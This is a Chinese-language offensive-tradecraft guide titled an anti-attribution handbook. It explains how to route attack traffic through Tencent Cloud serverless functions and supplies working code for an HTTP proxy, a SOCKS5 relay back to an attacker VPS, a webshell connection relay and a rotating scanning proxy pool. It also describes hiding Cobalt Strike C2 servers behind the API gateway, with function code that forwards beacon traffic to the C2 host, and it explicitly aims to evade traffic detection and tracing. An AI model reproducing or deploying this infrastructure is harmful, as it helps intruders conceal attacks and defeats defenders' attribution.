千寻笔记：防溯源手册(云函数篇)

 云函数简介

云函数（Serverless Cloud Function，SCF）是腾讯云为企业和开发者们提供的无服务器执行环境，可以无需购买和管理服务器的情况下运行代码。只需使用平台支持的语言编写核心代码并设置代码运行的条件，即可在腾讯云基础设施上弹性、安全地运行代码。SCF是实时文件处理和数据处理等场景下理想的计算平台。总结云函数的几个特性：

• 多出口
• 调用时创建执行
• 无需服务器承载

由于云函数无法长驻，调用的时候创建，执行完之后立即就销毁，所以无法直接保存状态。也正是这一点，让我们无法代理像 SSH 这种需要长连接的服务，只能代理 HTTP(s) 这种无状态的协议。

云函数不能直接调用，同时还需要创建一个触发器来触发云函数，为了方便，我们选择使用API 网关触发器，只需要一个 HTTP 请求就能触发。

腾讯云函数地址：

https://console.cloud.tencent.com/scf/index

Part 1 HTTP Proxy

客户端挂上代理发送数据包，HTTP 代理服务器拦截数据包，提取 HTTP 报文相关信息，然后将报文以某种形式 POST 到云函数进行解析，云函数根据解析到的信息对目标发起请求，最终将结果一层一层返回。

服务端配置

云函数基础配置

选择自定义创建，地域自选，部署模式，代码部署，运行环境Python3.6，其余默认即可。

函数代码配置

然后配置函数代码，服务端代码server.py：

# -*- coding: utf8 -*-import jsonimport picklefrom base64 import b64decode, b64encode
import requests
SCF_TOKEN = "TOKEN" #需要自定义随机值，用于鉴权
def authorization():    return {        "isBase64Encoded": False,        "statusCode": 401,        "headers": {},        "body": "Please provide correct SCF-Token",    }
def main_handler(event: dict, context: dict):    try:        token = event["headers"]["scf-token"]    except KeyError:        return authorization()
    if token != SCF_TOKEN:        return authorization()
    data = event["body"]    kwargs = json.loads(data)    kwargs['data'] = b64decode(kwargs['data'])    r = requests.request(**kwargs, verify=False, allow_redirects=False)
    serialized_resp = pickle.dumps(r)
    return {        "isBase64Encoded": False,        "statusCode": 200,        "headers": {},        "body": b64encode(serialized_resp).decode("utf-8"),    }

需要修改 server.py 中的 SCF_TOKEN 为随机值，该值将用于鉴权， client.py 中的 SCF_TOKEN需要与server.py中的SCF_TOKEN保持一致。

高级配置

云函数操作最大超时限制默认为 3 秒，可以将云函数环境配置中的执行超时时间拉满，其余默认即可

创建触发器

配置完上面的所有内容后，创建触发器，自定义触发器，

触发方式选择 API 网关触发，其他保持不变即可

创建好触发器之后，基本配置就完成了，点击完成，等待函数配置完成，就会跳转到管理页面，我们找到触发管理，其中访问路径就是我们的云函数访问地址。

服务端就基本配置好了，下面还需要配置一下客户端。

客户端配置

本地代理这里使用的是mitmproxy，可以直接pip安装

pip3 install mitmproxy

如果需要代理 HTTPS流量需安装证书。首次运行 mitmdump命令，证书目录自动生成在在 ~/.mitmproxy中，安装并信任。

下面需要配置客户端client.py代码，需要将触发器中的访问路径添加至 client.py 中 scf_servers变量中，以逗号 , 分隔。scf_servers 参数可以添加多个API接口，这样就可以获取更多的IP池。

# -*- coding: utf8 -*-import jsonimport picklefrom typing import Listfrom random import choicefrom urllib.parse import urlparsefrom base64 import b64encode, b64decodeimport mitmproxy
scf_servers: List[str] = [] #API接口地址SCF_TOKEN = "TOKEN" #与server.py保持一致
def request(flow: mitmproxy.http.HTTPFlow):    scf_server = choice(scf_servers)    r = flow.request    data = {        "method": r.method,        "url": r.pretty_url,        "headers": dict(r.headers),        "cookies": dict(r.cookies),        "params": dict(r.query),        "data": b64encode(r.raw_content).decode("ascii"),    }
    flow.request = flow.request.make(        "POST",        url=scf_server,        content=json.dumps(data),        headers={            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",            "Accept-Encoding": "gzip, deflate, compress",            "Accept-Language": "en-us;q=0.8",            "Cache-Control": "max-age=0",            "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",            "Connection": "close",            "Host": urlparse(scf_server).netloc,            "SCF-Token": SCF_TOKEN,        },    )
def response(flow: mitmproxy.http.HTTPFlow):    if flow.response.status_code != 200:        mitmproxy.ctx.log.warn("Error")
    if flow.response.status_code == 401:        flow.response.headers = Headers(content_type="text/html;charset=utf-8")        return
    if flow.response.status_code == 433:        flow.response.headers = Headers(content_type="text/html;charset=utf-8")        flow.response.text = "操作超时，可在函数配置中修改执行超时时间"        return
    if flow.response.status_code == 200:        body = flow.response.content.decode("utf-8")        resp = pickle.loads(b64decode(body))
        r = flow.response.make(            status_code=resp.status_code,            headers=dict(resp.headers),            content=resp.content,        )        flow.response = r

配置好之后就可以开启代理

mitmdump -s client.py -p 8081 --no-http2

浏览器配置好HTTP代理，测试效果：

查看IP Info均为腾讯云的地址，并且每一次访问IP都会变：

Part 2 SOCKS5

正常SOCKS5代理请求的流程为服务端监听来自客户端的请求，当客户端发起一个新的连接。服务端生成一个socket A，并从数据包中解析出目标服务器的地址和端口，在本地对目标发起一个socket B，同步两个socket 的 IO 操作。

socket可对外发起连接，云函数能对外发包，因此我们可以将云函数当作中间人，一侧对 VPS 发起连接，另一侧对目标服务器发起连接。

正常 SOCKS5 代理请求的流程为服务端监听来自客户端的请求，当客户端发起一个新的连接，服务端生成一个 socket A，并从数据包中解析出目标服务器的地址和端口，在本地对目标发起一个 socket B，同步两个 socket 的 IO 操作。

socket可对外发起连接，云函数能对外发包，因此我们可以将云函数当作中间人，一侧对 VPS 发起连接，另一侧对目标服务器发起连接。

SOCKS5主要分为 3 个步骤：

认证：对客户端发起的连接进行认证

建立连接：从客户端发起的连接中读取数据，获得目标服务器地址，并建立连接。

转发数据：分别将来自客户端、服务器的数据转发给对方

云函数配置

基础配置

函数代码

# -*- coding: utf8 -*-# server.pyimport jsonimport socketimport select
bridge_ip = "ip"bridge_port = port
def main_handler(event, context):    data = json.loads(event["body"])    out = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    out.connect((data["host"], data["port"]))
    bridge = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    bridge.connect((bridge_ip, bridge_port))    bridge.send(data["uid"].encode("ascii"))
    while True:        readable, _, _ = select.select([out, bridge], [], [])        if out in readable:            data = out.recv(4096)            bridge.send(data)        if bridge in readable:            data = bridge.recv(4096)            out.send(data)

需要修改 server.py中的 bridge_ip与 bridge_port为自己 VPS的 ip及开启监听的端口

高级配置

修改云函数超时时间为 900s，这样一个 SOCKS5 连接最多维持 15m

创建触发器

云函数配置好之后，保存一下触发管理中的访问路径。

客户端配置

socks5.py代码：

# Python >= 3.8import asyncioimport argparsefrom socket import inet_ntoafrom functools import partial
import uvloopimport shortuuid
from bridge import scf_handlefrom models import Conn, http, uid_socketfrom utils import print_time, parse_args, cancel_task
async def socks_handle(    args: argparse.Namespace, reader: asyncio.StreamReader, writer: asyncio.StreamWriter):    client = Conn("Client", reader, writer)
    await socks5_auth(client, args)    remote_addr, port = await socks5_connect(client)
    client.target = f"{remote_addr}:{port}"    uid = shortuuid.ShortUUID().random(length=4)    uid_socket[uid] = client
    data = {"host": remote_addr, "port": port, "uid": uid}    await http.post(args.scf_url, json=data)
async def socks5_auth(client: Conn, args: argparse.Namespace):    ver, nmethods = await client.read(2)
    if ver != 0x05:        client.close()        cancel_task(f"Invalid socks5 version: {ver}")
    methods = await client.read(nmethods)
    if args.user and b"\x02" not in methods:        cancel_task(            f"Unauthenticated access from {client.writer.get_extra_info('peername')[0]}"        )
    if b"\x02" in methods:        await client.write(b"\x05\x02")        await socks5_user_auth(client, args)    else:        await client.write(b"\x05\x00")
async def socks5_user_auth(client: Conn, args: argparse.Namespace):    ver, username_len = await client.read(2)    if ver != 0x01:        client.close()        cancel_task(f"Invalid socks5 user auth version: {ver}")
    username = (await client.read(username_len)).decode("ascii")    password_len = ord(await client.read(1))    password = (await client.read(password_len)).decode("ascii")
    if username == args.user and password == args.passwd:        await client.write(b"\x01\x00")    else:        await client.write(b"\x01\x01")        cancel_task(            f"Wrong user/passwd connection from {client.writer.get_extra_info('peername')[0]}"        )
async def socks5_connect(client: Conn):    ver, cmd, _, atyp = await client.read(4)    if ver != 0x05:        client.close()        cancel_task(f"Invalid socks5 version: {ver}")    if cmd != 1:        client.close()        cancel_task(f"Invalid socks5 cmd type: {cmd}")
    if atyp == 1:        address = await client.read(4)        remote_addr = inet_ntoa(address)    elif atyp == 3:        addr_len = await client.read(1)        address = await client.read(ord(addr_len))        remote_addr = address.decode("ascii")    elif atyp == 4:        cancel_task("IPv6 not supported")    else:        cancel_task("Invalid address type")
    port = int.from_bytes(await client.read(2), byteorder="big")
    # Should return bind address and port, but it's ok to just return 0.0.0.0    await client.write(b"\x05\x00\x00\x01\x00\x00\x00\x00\x00\x00")    return remote_addr, port
async def main():    args = parse_args()    handle = partial(socks_handle, args)
    if not args.user:        print_time("[ALERT] Socks server runs without authentication")
    await http.init_session()    socks_server = await asyncio.start_server(handle, args.listen, args.socks_port)    print_time(f"SOCKS5 Server listening on: {args.listen}:{args.socks_port}")    await asyncio.start_server(scf_handle, args.listen, args.bridge_port)    print_time(f"Bridge Server listening on: {args.listen}:{args.bridge_port}")
    try:        await socks_server.serve_forever()    except asyncio.CancelledError:        await http.close()
if __name__ == "__main__":    uvloop.install()    try:        asyncio.run(main())    except KeyboardInterrupt:        print_time("[INFO] User stoped server")

然后在 VPS上开启 SOCKS5代理：

python3 socks5.py -u "https://service-xxx.sh.apigw.tencentcs.com/release/xxx" -bp 9001 -sp 9002 --user test --passwd test

• -u 参数需要填写 API 网关提供的地址，必填
• -l 表示本机监听的 ip，默认为 0.0.0.0
• -sp 表示 SOCKS5 代理监听的端口，必填
• -bp 表示用于监听来自云函数连接的端口，与 server.py 中的 bridge_port 相同，必填
• --user 和 --passwd 用于 SOCKS5 服务器对连接进行身份验证，客户端需配置相应的用户名和密码

配置好socks5代理

测试效果：

Part 3 Webshell

通过腾讯云的云函数将我们的请求进行转发

云函数配置

基础配置

函数代码

函数服务->函数管理->函数代码

# -*- coding: utf8 -*-import requestsimport json
def geturl(urlstr):    jurlstr = json.dumps(urlstr)    dict_url = json.loads(jurlstr)    return dict_url['u']
def main_handler(event, context):    url = geturl(event['queryString'])    postdata = event['body']    headers=event['headers']    resp=requests.post(url,data=postdata,headers=headers,verify=False)    response={        "isBase64Encoded": False,        "statusCode": 200,        "headers": {'Content-Type': 'text/html;charset='+resp.apparent_encoding},        "body": resp.text    }    return response

高级配置

默认即可

创建触发器

创建好云函数之后，保存访问路径地址

连接Webshell

webshell完整url:

https://service-xxxx.com/release/xxx?u=http://xx.xx.xx.xx/1.php

可以看到每次连接的IP都不一样,都是腾讯云的地址：

通过云函数的方法我们可以隐藏连接Webshell的本机IP地址，从而防止溯源，为了达到更加隐秘的目的，可以对Webshell流量进行加解密的来逃逸流量检测，通过流量检测+白名单IOC的方式可以完美的逃避检测。

Part 4 代理池

通过客户端监听获取请求并且组装API请求，服务端云函数解析且重组API请求。

云函数配置

基础设置

还是选择自定义创建，但是运行环境这里要选择Go，而不是默认的python

函数代码

执行方法改为server，且选择本地上传zip，将server.zip上传上去。

创建触发器

配置好之后，保存访问路径

测试效果

./client -port 10086 https://service-xxxx.com/release/xxx

用dirsearch代理扫描测试效果

代理扫描结果：

无代理扫描结果：

查看一下IP Info

Part 5 C2隐藏

云函数配置

隐藏C2不需要添加任何代码，只需要在API网关注册服务即可。按照正常流程创建好触发器后，点击API网关，进行配置：

配置后端类型为公网URL/IP，后端域名配置自己的 CS 服务器，后端超时时间自己看着来

配置完成后，大概这样：

C2配置

这里也可以自定义C2的profile，混淆流量

创建监听器

选择此监听器，生成木马，或者生成payload制作免杀等都可以，成功上线

查看网络连接，找到可疑连接，定位木马，反查IP

利用微步云沙箱对木马nginx.exe进行分析网络行为可以看到请求地址也为腾讯云函数地址，无法溯源到真正地址

另外还有一种配置云函数代码隐藏C2，云函数代码，自行测试

# coding: utf8import json,requests,base64def main_handler(event, context):    response = {}    path = None    headers = None    try:        C2='http://ip:80' #必须为80端口        if 'path' in event.keys():            path=event['path']        if 'headers' in event.keys():               headers=event['headers']        if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' :            resp=requests.get(C2+path,headers=headers,verify=False)        else:            resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)            print(resp.headers)            print(resp.content)        response={            "isBase64Encoded": True,            "statusCode": resp.status_code,            "headers": dict(resp.headers),            "body": str(base64.b64encode(resp.content))[2:-1]        }    except Exception as e:        print('error')        print(e)    finally:        return response

与无代码配置的方法不同在于配置API网关，注册服务时，只需要配置前端配置，不需要配置后端，就直接点完成，发布即可。